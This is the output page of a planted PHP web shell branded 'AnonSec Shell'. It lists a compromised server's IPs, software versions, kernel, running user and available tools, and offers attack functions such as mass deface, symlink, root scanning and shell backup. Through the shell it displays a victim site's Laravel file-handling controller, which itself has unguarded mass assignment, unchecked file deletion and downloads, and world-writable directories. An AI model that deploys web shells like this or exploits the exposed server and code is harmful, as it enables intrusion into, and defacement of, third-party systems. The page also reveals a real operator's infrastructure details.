AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 52.223.31.75 / Your IP : 172.31.44.28 [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF
Directory : /var/www_local/modis.angelopescatore.it/app/Http/Controllers/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /var/www_local/modis.angelopescatore.it/app/Http/Controllers/FileController.php

<?php

namespace App\Http\Controllers;

use App\Models\Files;
use Facade\FlareClient\Http\Response;
use finfo;
use App\Models\Users;
use Illuminate\Http\Request;
use File;




class FileController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index(){
        $file = Files::select("files.*")->where("is_hidden","=","0")->get();
        return response()->json(["status "=> true, "message"=> $file],200);
    }
    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request) {
        return Files::create($request->all())->toArray();
    }

    public function getCandidateFiles($idCandidate){
        $base64Files = Files::select("files.*")->where("id_candidate" , "=",$idCandidate)->get();
        return $base64Files;
    }

    public function getUserFiles($idUser){
        return Users::select("file")->where("id_user",$idUser)->get();
    }

    public function convertBase64toFile($base64){
        $base64Decode = base64_decode($base64);
        return $base64Decode;
    }

    public function saveFileToFolder($file,$fileName){
        $target_directory = "Candidate" ;    
        $extension  = pathinfo($file, PATHINFO_EXTENSION);
        try{        
            file_put_contents($target_directory,$file);
        }catch(Exception $e){
            echo json_encode($e->getMessage());
        }
    }

    public function saveFile($file,$fileName){   
        $extension  = pathinfo($file, PATHINFO_EXTENSION);
        try{        
            file_put_contents($fileName,$file);
        }catch(Exception $e){
            echo json_encode($e->getMessage());
        }
    }

    public function deleteFile(Request $request){
        $files  = $request->input("files_to_delete");
        if($files!= null){
            for($i = 0; $i< count($files); $i++){
                $matchThese = ["content" => $files[$i]["content"], "name" => $files[$i]["name"]];
                $data = Files::select("files.*")->where($matchThese)->get();
                for($x = 0; $x < count($data); $x++){
                    $this->destroy($data[$x]["id_files"]);
                    unlink($data[$x]["name"]);
                }
            }
            
        }
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */

    public function update(Request $request, $id){
        return Files::find($id)->update($request->all());
    }

    public function updateNewCandidateFiles($id_files, $id_candidate){
        $files = Files::find(explode(",",$id_files));
        if($files){
            for($i = 0; $i < count($files); $i++){                
                $saveTo = public_path().'/attach/candidate/candidate_'.$id_candidate;
                $temp = "/attach/candidate/candidate_".$id_candidate;

                if(!file_exists($saveTo)){
                    mkdir($saveTo, 0777, true);
                }

                $file_name = explode(".",$files[$i]["file_name"]);
                
                $this->updateFilePaths($files[$i]["path"],$saveTo."/".$file_name[0]."_".date('mdYHis')."_.".$file_name[1]);
                 
                $this->updateFileObject(
                    $id_candidate,
                    $file_name[0]."_".date("mdYHis").$file_name[1],
                    $files[$i]["id_file"],
                    $temp."/".$file_name[0]."_".date('mdYHis')."_.".$file_name[1]
                );
            }
            return "Files updated successfully";
        }
        return "There are no files found by this id sent";
    }

    private function updateFilePaths($from,$to){
       File::move(public_path().$from,$to);
    }

    private function updateFileObject($id_candidate,$file_name,$id_file,$saved_in)
    {
        $saveInDb = '/attach/candidate/candidate_'.$id_candidate;
        $insertUserFile = new Request();
        
        $insertUserFile->merge([
            "id_candidate"=> $id_candidate,
            "path"=> $saved_in,    
        ]);
        if(Files::find($id_file)->update($insertUserFile->all())){
            return true;
        }
     }

    private function updateCandidateFiles($request,$file){
        return $file->update($request->all());
    }


    /**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id){
        return Files::find($id)->delete();       
    }

    public function getFiles(Request $request){
        
        $files = Files::Query();
 
        if($request->has("id_file")){
            return response()->Json(["status"=> true,"message"=> Files::find(explode(",",$request->input("id_file")))],200);
        }


        if($request->has("id_candidate")){
            $files= $files->where('files.id_candidate', 'like', '%'.$request->input('id_candidate').'%'); 
        }

        if($request->has("category")){
            $files= $files->where('files.category', 'like', '%'.$request->input('category').'%'); 
        }

        if($request->has("id_user")){
            $files= $files->where('files.id_user', 'like', '%'.$request->input('id_user').'%'); 
        }

        if($request->has("description")){
            $files= $files->where('files.description', 'like', '%'.$request->input('description').'%'); 
        }

        if($request->has("file_name")){
            $files= $files->where('files.file_name', 'like', '%'.$request->input('file_name').'%'); 
        }

        return response()->json(["status"=> true,"message"=> $files->select("files.*")->where("is_hidden","=",false)->get()],200);
    }

    public function downloadFile($id_file){
        $file = Files::find($id_file);
        return response()->download(public_path().$file->path);
    }

    public function deleteFiles($id_file){
        $request = new Request();
        $request->merge([
            "is_hidden"=> true
        ]);

        $file = Files::where([
            'id_file' => $id_file,
            'is_hidden' => false,
        ]);

        if($file){
            if($file->update($request->all())){
                return response()->json(["status"=> true, "message"=> "File has been deleted!"],200);
           }else{
                return response()->json(["status"=> true, "message"=> "File has already been deleted!"],200);
           }
        }
        return response()->json(["status"=> true, "message"=> "File does not exist in db!"],200);
    }
}

Anon7 - 2022
AnonSec Team